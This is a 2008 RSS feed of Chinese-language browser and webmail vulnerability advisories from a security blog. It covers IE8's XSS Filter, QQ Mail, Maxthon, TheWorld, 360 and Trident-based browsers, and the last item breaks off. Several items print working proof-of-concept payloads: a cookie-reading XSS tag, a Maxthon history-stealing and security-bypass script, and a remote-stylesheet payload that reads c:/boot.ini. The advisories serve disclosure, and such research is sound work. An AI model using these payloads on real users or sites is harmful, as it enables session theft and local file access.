<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>80sec &#187; 客户端安全</title>
	<atom:link href="http://www.80sec.com/category/clientside-security/feed" rel="self" type="application/rss+xml" />
	<link>http://www.80sec.com</link>
	<description>Know it then hack it!</description>
	<lastBuildDate>Thu, 19 Aug 2010 08:43:01 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>IE8安全警告</title>
		<link>http://www.80sec.com/ie8-security-alert.html</link>
		<comments>http://www.80sec.com/ie8-security-alert.html#comments</comments>
		<pubDate>Fri, 29 Aug 2008 05:52:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[安全咨讯]]></category>
		<category><![CDATA[客户端安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=35</guid>
		<description><![CDATA[漏洞说明：IE8是微软新推出的一款浏览器，其对CSS2.1的完整支持，HTML5的支持，内置开发工具等等。IE8在浏览器安全性上有非常大的改进，内置了一款无法卸载的Xss Filter，对非持久型跨站脚本攻击做了比较好的防护。但是80sec在测试IE8时，发现IE8在设计Xss Filter时存在逻辑上的错误，可能导致一些原本不存在漏洞的站点出现安全问题，并且IE8也并没有从根本上解决跨站脚本攻击问题，甚至针对非持久型跨站脚本攻击在变通攻击方法之后一样可能被利用。而在一些书写不严谨的web站点上，IE8的Xss Filter根本发挥不了任何作用。
漏洞站点：http://www.microsoft.com/

漏洞解析：通过我们研究后发现IE8的Xss Filter的基本原理是根据一些已知的攻击情况所集成的规则库来匹配书写的URL，如果匹配规则就发出警告，并且将站点回显的页面里的相关匹配内容替换成无危害的类型。这一过程存在很多问题 
	1	匹配的规则问题
	IE8只能对一些已知的简单规则进行匹配，并且不能防止JavaScript Injection和一些Dom操作带来的XSS，对于持久型Xss更是无能为力。所以IE8在防止Xss方面只是做了非常非常小的一部。这一步对于一些书写不严谨的站点更是起不了任何作用。譬如一个Dom Xss[Thanks Luoluo]
	Dom XSS In IE8
	可以看到XSS一样触发。
	2	如何在IE8下进行非持久XSS[该问题受同源策略影响]
	IE8只是给人一种安全感，他并不能修复站点的安全漏洞。对于黑客来讲，他只需要把原来的XSS放到iframe里就一样可以用来攻击该站点，并不能从根本上解决跨站。譬如原来是
http://www.80sec.com/?url=&#60;script>alert()&#60;/script>
	会被拦截，但是当你用
	&#60;iframe src=&#8217;http://www.80sec.com/?url=&#60;script>alert()&#60;/script>&#8217;>&#60/iframe>
	一样可以利用，不过可能需要一些更深入的技巧。
	3	IE8使很多的站点存在安全隐患
	IE8的防护设计是当有违反规则的输入在URL里时，就把页面相应的内容给替换掉，而不管这个页面的内容是不是由用户输入造成的。黑客利用这一点，可以替换目标站点的某些代码，而实现这个只需要在地址后面加一个无关紧要的输入。如果被替换的内容涉及到一些页面逻辑，就可能被上下文利用，使用IE8的话，任何站点都可能成为攻击目标。
	http://www.baidu.com/?80sec=&#60;meta%20http-equiv=Content-Type%20content=&#8221;text/html;charset=gb2312&#8243;>
	看看，在IE8下上面URL是不是乱了，当然，我们可以利用这个特性注释掉很多东西，如JS等等，都可以导致目标站点存在安全隐患，甚至被利用。
	4. 	IE8的Xss Filter功能具有同源策略特性。
	IE8的Xss Filter功能具有同源策略特性，相对于大部分非持久型XSS,如果攻击点来源于被攻击网站，将不会对XSS情况进行拦截。说明IE8的Xss Filter功能在设计时，决定完全信任来自本域的访问，例如
http://www.baidu.com/?xss=&#60;script>alert(&#8216;xss&#8217;)
	这类链接如果出现在www.baidu.com域内的页面被点击触发XSS漏洞，IE8的Xss Filter将不会拦截。 
漏洞状态：等候官方回应
]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：IE8是微软新推出的一款浏览器，其对CSS2.1的完整支持，HTML5的支持，内置开发工具等等。IE8在浏览器安全性上有非常大的改进，内置了一款无法卸载的Xss Filter，对非持久型跨站脚本攻击做了比较好的防护。但是80sec在测试IE8时，发现IE8在设计Xss Filter时存在逻辑上的错误，可能导致一些原本不存在漏洞的站点出现安全问题，并且IE8也并没有从根本上解决跨站脚本攻击问题，甚至针对非持久型跨站脚本攻击在变通攻击方法之后一样可能被利用。而在一些书写不严谨的web站点上，IE8的Xss Filter根本发挥不了任何作用。</p>
<p>漏洞站点：http://www.microsoft.com/<br />
<span id="more-35"></span><br />
漏洞解析：通过我们研究后发现IE8的Xss Filter的基本原理是根据一些已知的攻击情况所集成的规则库来匹配书写的URL，如果匹配规则就发出警告，并且将站点回显的页面里的相关匹配内容替换成无危害的类型。这一过程存在很多问题 </p>
<p>	1	匹配的规则问题</p>
<p>	IE8只能对一些已知的简单规则进行匹配，并且不能防止JavaScript Injection和一些Dom操作带来的XSS，对于持久型Xss更是无能为力。所以IE8在防止Xss方面只是做了非常非常小的一部。这一步对于一些书写不严谨的站点更是起不了任何作用。譬如一个Dom Xss[Thanks Luoluo]</p>
<p>	<a href="http://hi.baidu.com/mailxss/blog/item/2313eceea66b3e30adafd54c.html'style='width:expression(eval(String.fromCharCode(0x69,0x66,0x28,0x21,0x77,0x69,0x6e,0x64,0x6f,0x77,0x2e,0x78,0x29,0x7b,0x61,0x6c,0x65,0x72,0x74,0x28,0x31,0x29,0x3b,0x77,0x69,0x6e,0x64,0x6f,0x77,0x2e,0x78,0x3d,0x31,0x3b,0x7d))); ">Dom XSS In IE8</a></p>
<p>	可以看到XSS一样触发。</p>
<p>	2	如何在IE8下进行非持久XSS[该问题受同源策略影响]</p>
<p>	IE8只是给人一种安全感，他并不能修复站点的安全漏洞。对于黑客来讲，他只需要把原来的XSS放到iframe里就一样可以用来攻击该站点，并不能从根本上解决跨站。譬如原来是</p>
<p>http://www.80sec.com/?url=&#60;script>alert()&#60;/script></p>
<p>	会被拦截，但是当你用</p>
<p>	&#60;iframe src=&#8217;http://www.80sec.com/?url=&#60;script>alert()&#60;/script>&#8217;>&#60/iframe></p>
<p>	一样可以利用，不过可能需要一些更深入的技巧。</p>
<p>	3	IE8使很多的站点存在安全隐患</p>
<p>	IE8的防护设计是当有违反规则的输入在URL里时，就把页面相应的内容给替换掉，而不管这个页面的内容是不是由用户输入造成的。黑客利用这一点，可以替换目标站点的某些代码，而实现这个只需要在地址后面加一个无关紧要的输入。如果被替换的内容涉及到一些页面逻辑，就可能被上下文利用，使用IE8的话，任何站点都可能成为攻击目标。</p>
<p>	http://www.baidu.com/?80sec=&#60;meta%20http-equiv=Content-Type%20content=&#8221;text/html;charset=gb2312&#8243;></p>
<p>	看看，在IE8下上面URL是不是乱了，当然，我们可以利用这个特性注释掉很多东西，如JS等等，都可以导致目标站点存在安全隐患，甚至被利用。</p>
<p>	4. 	IE8的Xss Filter功能具有同源策略特性。</p>
<p>	IE8的Xss Filter功能具有同源策略特性，相对于大部分非持久型XSS,如果攻击点来源于被攻击网站，将不会对XSS情况进行拦截。说明IE8的Xss Filter功能在设计时，决定完全信任来自本域的访问，例如</p>
<p>http://www.baidu.com/?xss=&#60;script>alert(&#8216;xss&#8217;)</script></p>
<p>	这类链接如果出现在www.baidu.com域内的页面被点击触发XSS漏洞，IE8的Xss Filter将不会拦截。 </p>
<p>漏洞状态：等候官方回应</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/ie8-security-alert.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>QQ Mail跨站脚本漏洞</title>
		<link>http://www.80sec.com/qqmail-new-xss.html</link>
		<comments>http://www.80sec.com/qqmail-new-xss.html#comments</comments>
		<pubDate>Tue, 26 Aug 2008 03:18:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[web应用程序安全]]></category>
		<category><![CDATA[客户端安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=33</guid>
		<description><![CDATA[漏洞说明：QQ Mail是Tencent公司提供的webmail服务，你可以使用你的QQ帐户来登陆使用Mail服务，具体的信息可以访问http://mail.qq.com/。但是80sec在QQ Mail里发现存在新的严重跨站脚本漏洞，恶意用户可以通过该漏洞在邮件里伪造登陆表单窃取目标用户的密码以及偷取Cookie以取得其他用户的身份，或者使用ajax等技术读取用户的敏感信息，任何浏览该邮件的用户都存在身份泄漏的风险。
漏洞成因：QQ Mail的Filter在解析Html标签时存在错误，构造畸形的Html标签将绕过过滤，从而在邮件正文里执行任意javascript。QQ Mail对这种类型的标签不做任何过滤，认为是无效html标识符而不做过滤，但是IE却可以正常解析该Html，所以构造如下的畸形Html邮件。


Hello,80sec   &#60;/xss style="x:expression(alert(document.cookie))"> 

将触发Xss漏洞。
漏洞测试：发送如下Html：

Hello,80sec   &#60;/xss style="x:expression(alert(document.cookie))"> 

漏洞状态：
80sec于 2008.8.14发现此漏洞
80sec于 2008.8.14通知官方
官方于  2008.8.26日修复[同时修复几个其他类型的XSS]
]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：QQ Mail是Tencent公司提供的webmail服务，你可以使用你的QQ帐户来登陆使用Mail服务，具体的信息可以访问http://mail.qq.com/。但是80sec在QQ Mail里发现存在新的严重跨站脚本漏洞，恶意用户可以通过该漏洞在邮件里伪造登陆表单窃取目标用户的密码以及偷取Cookie以取得其他用户的身份，或者使用ajax等技术读取用户的敏感信息，任何浏览该邮件的用户都存在身份泄漏的风险。</p>
<p>漏洞成因：QQ Mail的Filter在解析Html标签时存在错误，构造畸形的Html标签将绕过过滤，从而在邮件正文里执行任意javascript。QQ Mail对</xss>这种类型的标签不做任何过滤，认为是无效html标识符而不做过滤，但是IE却可以正常解析该Html，所以构造如下的畸形Html邮件。<br />
<span id="more-33"></span><br />
<code></p>
<p>Hello,80sec <img src='http://www.80sec.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  &#60;/xss style="x:expression(alert(document.cookie))"> </p>
<p></code></p>
<p>将触发Xss漏洞。</p>
<p>漏洞测试：发送如下Html：</p>
<p><code></p>
<p>Hello,80sec <img src='http://www.80sec.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  &#60;/xss style="x:expression(alert(document.cookie))"> </p>
<p></code></p>
<p>漏洞状态：</p>
<p>80sec于 2008.8.14发现此漏洞<br />
80sec于 2008.8.14通知官方<br />
官方于  2008.8.26日修复[同时修复几个其他类型的XSS]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/qqmail-new-xss.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>遨游修复的几个安全漏洞</title>
		<link>http://www.80sec.com/maxthon-vulns-poc.html</link>
		<comments>http://www.80sec.com/maxthon-vulns-poc.html#comments</comments>
		<pubDate>Tue, 01 Jul 2008 04:53:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[客户端安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=21</guid>
		<description><![CDATA[	在80sec通知遨游存在的安全漏洞之后，遨游于6.30号发布了新版的浏览器，修复了前面提到的安全漏洞，具体更新可以见http://blog.maxthon.cn/，此次更新修复了三个安全问题，主要的问题细节如下：
	漏洞来源：http://www.80sec.com/release/maxthon-vulns-poc.txt
	1	浏览器内核漏洞导致的本地跨域漏洞

	漏洞说明：maxthon采用了系统的IE内核，但是该内核可能存在一些安全漏洞导致跨域攻击，而遨游的max:等的域是在本地等同于file://，所以这个跨域攻击将导致在本地上下文中执行javascript代码，这里只给出取得遨游浏览历史记录的POC。
	漏洞POC：

   &#60;a href="">Maxthon Exploit&#60;/a>
    &#60;script>
    function win(){
        x=window.open("max:history");
        setTimeout(function(){
            x.location=new String("javascript:x=maxHistory.history.list.site.loadData();for(i=0;i&#60;x.length;i++) document.write(x[i].site+\"&#60;br>\");")
        },3000)
   [...]]]></description>
			<content:encoded><![CDATA[<p>	在80sec通知遨游存在的安全漏洞之后，遨游于6.30号发布了新版的浏览器，修复了前面提到的安全漏洞，具体更新可以见http://blog.maxthon.cn/，此次更新修复了三个安全问题，主要的问题细节如下：</p>
<p>	漏洞来源：http://www.80sec.com/release/maxthon-vulns-poc.txt</p>
<p>	1	浏览器内核漏洞导致的本地跨域漏洞<br />
<span id="more-21"></span><br />
	漏洞说明：maxthon采用了系统的IE内核，但是该内核可能存在一些安全漏洞导致跨域攻击，而遨游的max:等的域是在本地等同于file://，所以这个跨域攻击将导致在本地上下文中执行javascript代码，这里只给出取得遨游浏览历史记录的POC。</p>
<p>	漏洞POC：<br />
<code><br />
   &#60;a href="">Maxthon Exploit&#60;/a><br />
    &#60;script><br />
    function win(){<br />
        x=window.open("max:history");<br />
        setTimeout(function(){<br />
            x.location=new String("javascript:x=maxHistory.history.list.site.loadData();for(i=0;i&#60;x.length;i++) document.write(x[i].site+\"&#60;br>\");")<br />
        },3000)<br />
    }<br />
    window.onload=function(){<br />
        for (i=0;i&#60;document.links.length;i++) {<br />
            document.links[i].href="javascript:win()"<br />
        }<br />
    }<br />
    &#60;/script><br />
</code></p>
<p>	漏洞修复：在IE内核修复之前，遨游新版本已经修复这个安全漏洞</p>
<p>	2	遨游安全中心漏洞导致的远程修改任意用户设置</p>
<p>	漏洞说明：遨游对IE内核的一些特性并不是十分了解，导致在处理一些特殊情况时出现安全漏洞。遨游的控制中心实际上就是一组HTML+JAVASCRIPT，通过这些页面可以读取敏感数据，修改浏览器设置，下载文件等等。当然，遨游也有自己的安全策略，将那些HTML文件放到外部站点上并不能直接调用，因为遨游有一个安全控制策略，security.src，这个文件代码如下：</p>
<p><code><br />
var max_security_id='';					var url=String(document.location).toLowerCase();					if(url.indexOf('file://')>-1&#038;&#038;url.indexOf('http://')==-1&#038;&#038;url.indexOf('https://')==-1){					max_security_id='{B73B3AC9-B009-4429-AE67-514332D791FE}';					}else{					document.location='about:blank';		}<br />
</code><br />
其中max_security_id是遨游在调用各种控件时必须的一个参数，这个参数在各个功能里是必须的，各个机器的max_security_id并不相同。如果我们能取得这个max_security_id那么就可以在远程任意站点调用遨游的各种功能譬如设置，读取敏感数据甚至是远程代码执行了。</p>
<p>首先，这个max_security_id每次启动貌似都会更改，这个max_security_id会存储在安装目录的template/security.src里，而我们可以在自己的站点页面里做如下调用：</p>
<p><code><br />
&#60;script src="E:\Program Files\Maxthon2\template\security.src">&#60;/script><br />
&#60;script src="d:\Program Files\Maxthon2\template\security.src">&#60;/script><br />
&#60;script src="c:\Program Files\Maxthon2\template\security.src">&#60;/script><br />
</code></p>
<p>别意外，遨游是允许做这样调用本地文件的：），但是security.src也是有限制的，只有当location里包含file:///并且不包含http://和https:///的时候才会赋值，否则会跳转。这里遨游有个错误就是黑名单策略导致可以使用譬如ftp://的协议饶过，至于想包含file://也很简单：</p>
<p><code><br />
ftp://www.foo.com/exploit.html#file://80sec.com<br />
</code></p>
<p>这样一个地址实际访问的是exploit.html，但是location却包含file://，安全策略被饶过，可以取得max_security_id，然后利用取得的max_security_id可以做一切操作。</p>
<p>	漏洞POC：</p>
<p>	搭建一个匿名ftp服务器www.foo.com，然后在恶意站点做如下引用：</p>
<p><code><br />
	&#60;iframe src="ftp://www.foo.com/history/index.htm#file:///www.80sec.com" width=100% height=100%><br />
</code></p>
<p>	/history/index.htm为放在www.foo.com上的精心构造的exploit，最简单的方式就是将官方安装目录里的template里的history等子目录下面的index.html里的</p>
<p><code><br />
&#60;script type="text/javascript" src="../security.src">&#60;/script><br />
</code></p>
<p>换成</p>
<p><code><br />
&#60;script src="E:\Program Files\Maxthon2\template\security.src">&#60;/script><br />
&#60;script src="d:\Program Files\Maxthon2\template\security.src">&#60;/script><br />
&#60;script src="c:\Program Files\Maxthon2\template\security.src">&#60;/script><br />
</code></p>
<p>通过修改里面的index.htm内容就可以修改浏览器设置，读取历史记录等等</p>
<p>	漏洞修复：新版本将代码修正为</p>
<p><code><br />
var max_security_id='';					if(String(window.document.location).toLowerCase().indexOf('file://')==0){					max_security_id='{02E14D94-53C8-4B6D-89AE-755DC5299C6C}';					}else{					document.location='about:blank';		}<br />
</code></p>
<p>	限定只能本地文件能引用这个js，修复了这个问题。</p>
<p>	3	RSS订阅跨站脚本漏洞</p>
<p>	漏洞说明：遨游在实现rss功能时存在问题，导致在访问有问题的页面时会出现xss漏洞</p>
<p>	漏洞POC：订阅http://www.80sec.com/feed就可以看到效果：）</p>
<p>	漏洞修复：新版本已经修复</p>
<p> Maxthon对待漏洞的态度非常严谨,希望Maxthon用户尽快升级到新版.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/maxthon-vulns-poc.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>世界之窗等浏览器本地xss跨域漏洞POC</title>
		<link>http://www.80sec.com/tw-local-zone-xss-poc.html</link>
		<comments>http://www.80sec.com/tw-local-zone-xss-poc.html#comments</comments>
		<pubDate>Thu, 26 Jun 2008 03:34:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[客户端安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=20</guid>
		<description><![CDATA[漏洞说明：http://www.80sec.com/360-sec-browser-localzone-xss.html
文档来源:http://www.80sec.com/release/The-world-browser-locale-zone-xss-POC.txt
漏洞分析：世界之窗浏览器在起始页面是以res://E:\PROGRA~1\THEWOR~1.0\languages\chs.dll/TWHOME.HTM的形式来处理的,而由于缺乏对res协议安全的必要控制,导致页面的权限很高,而该页面中存在的一个xss问题将导致本地跨域漏洞，简单分析如下：


			        &#60;script language="JavaScript">
			          	var nOldCount = 0;
									for( i = 0; i &#60; g_nCountOld; i ++ )
									{
										str_url = g_arr_argUrlOld[i];
										str_name = g_arr_argNameOld[i];
										str_td = "&#60;tr ID='twOldItem" + i +"'>&#60;td valign='top' width='64'>&#60;div align='right'>&#60;a style='cursor:hand' title='删除当前项' onclick=\"javascript:tw_DeleteItemOld('"+i+"');\">" + "&#60;img border='0' src='twpage_delete.gif' width='16' height='16'>&#60;/div>&#60;/a>&#60;/td>";
										document.write( str_td [...]]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：http://www.80sec.com/360-sec-browser-localzone-xss.html</p>
<p>文档来源:http://www.80sec.com/release/The-world-browser-locale-zone-xss-POC.txt</p>
<p>漏洞分析：世界之窗浏览器在起始页面是以res://E:\PROGRA~1\THEWOR~1.0\languages\chs.dll/TWHOME.HTM的形式来处理的,而由于缺乏对res协议安全的必要控制,导致页面的权限很高,而该页面中存在的一个xss问题将导致本地跨域漏洞，简单分析如下：</p>
<p><span id="more-20"></span><br />
<code><br />
			        &#60;script language="JavaScript"><br />
			          	var nOldCount = 0;<br />
									for( i = 0; i &#60; g_nCountOld; i ++ )<br />
									{<br />
										str_url = g_arr_argUrlOld[i];<br />
										str_name = g_arr_argNameOld[i];</p>
<p>										str_td = "&#60;tr ID='twOldItem" + i +"'>&#60;td valign='top' width='64'>&#60;div align='right'>&#60;a style='cursor:hand' title='删除当前项' onclick=\"javascript:tw_DeleteItemOld('"+i+"');\">" + "&#60;img border='0' src='twpage_delete.gif' width='16' height='16'>&#60;/div>&#60;/a>&#60;/td>";<br />
										document.write( str_td );							</p>
<p>										str_td = "&#60;td>&#60;a target='_blank' href='" + str_url + "'>" + str_name + "&#60;/a>&#60;/td>&#60;/tr>";<br />
										document.write( str_td );<br />
										nOldCount = i;<br />
										g_bHasLastUrl = true;<br />
									}</p>
<p>								&#60;/script><br />
</code><br />
	str_name和str_url不经过滤地直接输出，由于该页面处于本地安全区域，所以拥有很高的权限，可以做很多跨域操作，包括读取文件和运行本地程序。</p>
<p>漏洞修补：</p>
<p><code><br />
				        &#60;script language="JavaScript"><br />
			          	var nOldCount = 0;<br />
									for( i = 0; i &#60; g_nCountOld; i ++ )<br />
									{<br />
										str_url = g_arr_argUrlOld[i];<br />
										str_name = g_arr_argNameOld[i];</p>
<p>										str_td = "&#60;tr ID='twOldItem" + i +"'>&#60;td valign='top' width='64'>&#60;div align='right'>&#60;a style='cursor:hand' title='删除当前项' onclick=\"javascript:tw_DeleteItemOld('"+i+"');\">" + "&#60;img border='0' src='twpage_delete.gif' width='16' height='16'>&#60;/div>&#60;/a>&#60;/td>";<br />
										document.write( str_td );							</p>
<p>										str_td = "&#60;td>&#60;a target='_blank' href='" + str_url + "'>" + str_name + "&#60;/a>&#60;/td>&#60;/tr>";<br />
										document.write( str_td );<br />
										nOldCount = i;<br />
										g_bHasLastUrl = true;<br />
									}</p>
<p>								&#60;/script><br />
</code><br />
	已经用js控制DOM显示了</p>
<p>漏洞演示：这里提供测试方法可以读取c:/boot.ini</p>
<p>	1	打开如下地址：</p>
<p>		sc:h&#8217;>&#60;script>alert(document.write(unescape(&#8220;%3CLINK%20REL%3D%22stylesheet%22%20HREF%3D%22http%3A%2f%2fwww.80sec.com/1.css%22%3E&#8221;)))&#60;/script></p>
<p>	2	上面将导致一个不可访问的页面，然后直接关闭tw浏览器（ 没有好的办法crash,死循环? <img src='http://www.80sec.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ）</p>
<p>	3	重新打开tw浏览器，可以发现http://www.80sec.com/1.css中的内容被解析，并且有本地域的权限。</p>
<p>	1.css内容，换成其他js代码一样执行</p>
<p><code><br />
body {<br />
  background-image: url('javascript:alert(document.location);xmlhttp=new ActiveXObject("Msxml2.XMLHTTP.3.0");xmlhttp.open("GET","c:/boot.ini",false);xmlhttp.send();alert(xmlhttp.responseText);')<br />
}<br />
</code></p>
<p>漏洞状态：</p>
<p>2008-06-24通知厂商<br />
2008-06-25修补</p>
<p>http://www.ioage.com/cnnew/uplog.htm</p>
<p>他们修复了一些隐性bug <img src='http://www.80sec.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>其他浏览器如极速浏览器也可能存在问题：）</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/tw-local-zone-xss-poc.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>360安全浏览器本地xss跨域漏洞</title>
		<link>http://www.80sec.com/360-sec-browser-localzone-xss.html</link>
		<comments>http://www.80sec.com/360-sec-browser-localzone-xss.html#comments</comments>
		<pubDate>Tue, 24 Jun 2008 10:05:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[客户端安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=19</guid>
		<description><![CDATA[产品官方：360安全浏览器是全球首款采用“沙箱”技术的浏览器，能够彻底避免木马病毒从网页上对你的计算机发起攻击。360安全浏览器完全突破了传统的以查杀、拦截为核心的安全思路，在计算机系统内部构造了一个独立的虚拟空间——“360沙箱”，使所有网页程序都密闭在此空间内运行。因此，网页上任何木马、病毒、恶意程序的攻击都会被限制在“360沙箱”中，无法对真实的计算机系统产生破坏，真正做到百毒不侵。
360安全浏览器只有1.6M，小巧轻快、功能丰富，适合快速安装。除独家采用的“沙箱”技术外，360安全浏览器还集成了恶意代码智能拦截、下载文件即时扫描、恶意网站自动报警，广告窗口智能过滤等强劲功能，是目前市面上最安全的浏览器。

漏洞成因：360在软件被关闭时，如果有未关闭的标签，为了实现用户友好，该标签会在360的起始页面中被显示出来，但是360浏览器在处理用户输入上存在一点问题，导致软件中产生一个跨站脚本漏洞。该跨站脚本漏洞运行的上下文是在res://协议中，也就是在本地域中，所以拥有完全的访问权限，可以读取敏感文件甚至执行命令。
漏洞利用：在厂商修补该漏洞前,80sec不会发布利用细节
漏洞影响：最新版本360安全浏览器，其他浏览器也可能有类似漏洞：）
漏洞来源：http://www.80sec.com
漏洞状态：已经通知厂商
]]></description>
			<content:encoded><![CDATA[<p>产品官方：360安全浏览器是全球首款采用“沙箱”技术的浏览器，能够彻底避免木马病毒从网页上对你的计算机发起攻击。360安全浏览器完全突破了传统的以查杀、拦截为核心的安全思路，在计算机系统内部构造了一个独立的虚拟空间——“360沙箱”，使所有网页程序都密闭在此空间内运行。因此，网页上任何木马、病毒、恶意程序的攻击都会被限制在“360沙箱”中，无法对真实的计算机系统产生破坏，真正做到百毒不侵。<br />
360安全浏览器只有1.6M，小巧轻快、功能丰富，适合快速安装。除独家采用的“沙箱”技术外，360安全浏览器还集成了恶意代码智能拦截、下载文件即时扫描、恶意网站自动报警，广告窗口智能过滤等强劲功能，是目前市面上最安全的浏览器。<br />
<span id="more-19"></span></p>
<p>漏洞成因：360在软件被关闭时，如果有未关闭的标签，为了实现用户友好，该标签会在360的起始页面中被显示出来，但是360浏览器在处理用户输入上存在一点问题，导致软件中产生一个跨站脚本漏洞。该跨站脚本漏洞运行的上下文是在res://协议中，也就是在本地域中，所以拥有完全的访问权限，可以读取敏感文件甚至执行命令。</p>
<p>漏洞利用：在厂商修补该漏洞前,80sec不会发布利用细节</p>
<p>漏洞影响：最新版本360安全浏览器，其他浏览器也可能有类似漏洞：）</p>
<p>漏洞来源：http://www.80sec.com</p>
<p>漏洞状态：已经通知厂商</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/360-sec-browser-localzone-xss.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>第三方浏览器安全警告</title>
		<link>http://www.80sec.com/trident-security.html</link>
		<comments>http://www.80sec.com/trident-security.html#comments</comments>
		<pubDate>Tue, 24 Jun 2008 05:48:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[客户端安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=18</guid>
		<description><![CDATA[漏洞警告：通过对微软浏览器IE6跨域漏洞的深入研究，我们发现实际上即使在安装了IE7浏览器的操作系统中，也一样存在类似的问题。这个漏洞并不单独存在于IE6中，而是存在于微软提供的浏览器接口中。在微软提供的浏览器内核接口中存在的一个尚未被修补的安全问题，导致所有在IE内核Trident基础上开发的第三方浏览器都存在一个安全漏洞，可能导致跨域的一些操作，在特定的浏览器平台上甚至可以导致远程代码执行。我们建议有高安全性要求的用户暂时还是使用oprea，Firefox等浏览器，避免一些第三方浏览器给您带来损失。

漏洞说明：在和一些技术人员讨论之后可以看到，IE7并没有全新地在内核层次做太多变动，更多的是在IE7本身里Trident内核外围做了一些改动，这导致一些IE7很好的安全特性和修补的安全漏洞并没有遗传给那些使用IE内核的浏览器，因为它们本质上还是使用的系统的IE内核，而不是在外围做了改动的IE7。
	一般的浏览器结构都是浏览器外壳+浏览器内核，rident是IE采用的内核心解析引擎，负责处理页面的渲染和javascript的执行。老的IE内核即Trident在几个方面对于第三方浏览器带来的威胁非常大，因为这些威胁是公开的可以被用来攻击的：
	首先是域的限制并不是很严格，在internet域很可能可以得到本地的权限。譬如：
	&#60;script src=&#8221;c:\x.js&#8221;>
	在IE7和第三方浏览器并存的环境里，上述代码在IE7里是完全禁止的，但是可以在第三方浏览器里依然可以使用。
	第二是一些在IE7里被禁止的伪协议如javascript，在第三方浏览器里一样可以使用
	&#60;img src="javascript:alert()">
	第三当然是那个大家都知道的ie6的跨域0day了，但是深入研究下就可以发现，这个并不只是在ie6存在，而是更深层次地反映在IE的内核接口里，所以带来非常大的影响，差不多在windows上的基于IE的第三方浏览器全部受影响。
	我们甚至可以有理由猜测一些在IE里修复的问题会不会在其他浏览器里再现，譬如lake2发现的
http://www.qq.com@www.80sec.com
	URL钓鱼欺骗问题，在IE本身里已经被杜绝，但是在第三方浏览器里无一不可以再现。
漏洞解决：等待官方补丁
]]></description>
			<content:encoded><![CDATA[<p>漏洞警告：通过对微软浏览器IE6跨域漏洞的深入研究，我们发现实际上即使在安装了IE7浏览器的操作系统中，也一样存在类似的问题。这个漏洞并不单独存在于IE6中，而是存在于微软提供的浏览器接口中。在微软提供的浏览器内核接口中存在的一个尚未被修补的安全问题，导致所有在IE内核Trident基础上开发的第三方浏览器都存在一个安全漏洞，可能导致跨域的一些操作，在特定的浏览器平台上甚至可以导致远程代码执行。我们建议有高安全性要求的用户暂时还是使用oprea，Firefox等浏览器，避免一些第三方浏览器给您带来损失。<br />
<span id="more-18"></span></p>
<p>漏洞说明：在和一些技术人员讨论之后可以看到，IE7并没有全新地在内核层次做太多变动，更多的是在IE7本身里Trident内核外围做了一些改动，这导致一些IE7很好的安全特性和修补的安全漏洞并没有遗传给那些使用IE内核的浏览器，因为它们本质上还是使用的系统的IE内核，而不是在外围做了改动的IE7。<br />
	一般的浏览器结构都是浏览器外壳+浏览器内核，rident是IE采用的内核心解析引擎，负责处理页面的渲染和javascript的执行。老的IE内核即Trident在几个方面对于第三方浏览器带来的威胁非常大，因为这些威胁是公开的可以被用来攻击的：</p>
<p>	首先是域的限制并不是很严格，在internet域很可能可以得到本地的权限。譬如：</p>
<p>	&#60;script src=&#8221;c:\x.js&#8221;></script></p>
<p>	在IE7和第三方浏览器并存的环境里，上述代码在IE7里是完全禁止的，但是可以在第三方浏览器里依然可以使用。</p>
<p>	第二是一些在IE7里被禁止的伪协议如javascript，在第三方浏览器里一样可以使用</p>
<p>	&#60;img src="javascript:alert()"></p>
<p>	第三当然是那个大家都知道的ie6的跨域0day了，但是深入研究下就可以发现，这个并不只是在ie6存在，而是更深层次地反映在IE的内核接口里，所以带来非常大的影响，差不多在windows上的基于IE的第三方浏览器全部受影响。</p>
<p>	我们甚至可以有理由猜测一些在IE里修复的问题会不会在其他浏览器里再现，譬如lake2发现的</p>
<p>http://www.qq.com@www.80sec.com</p>
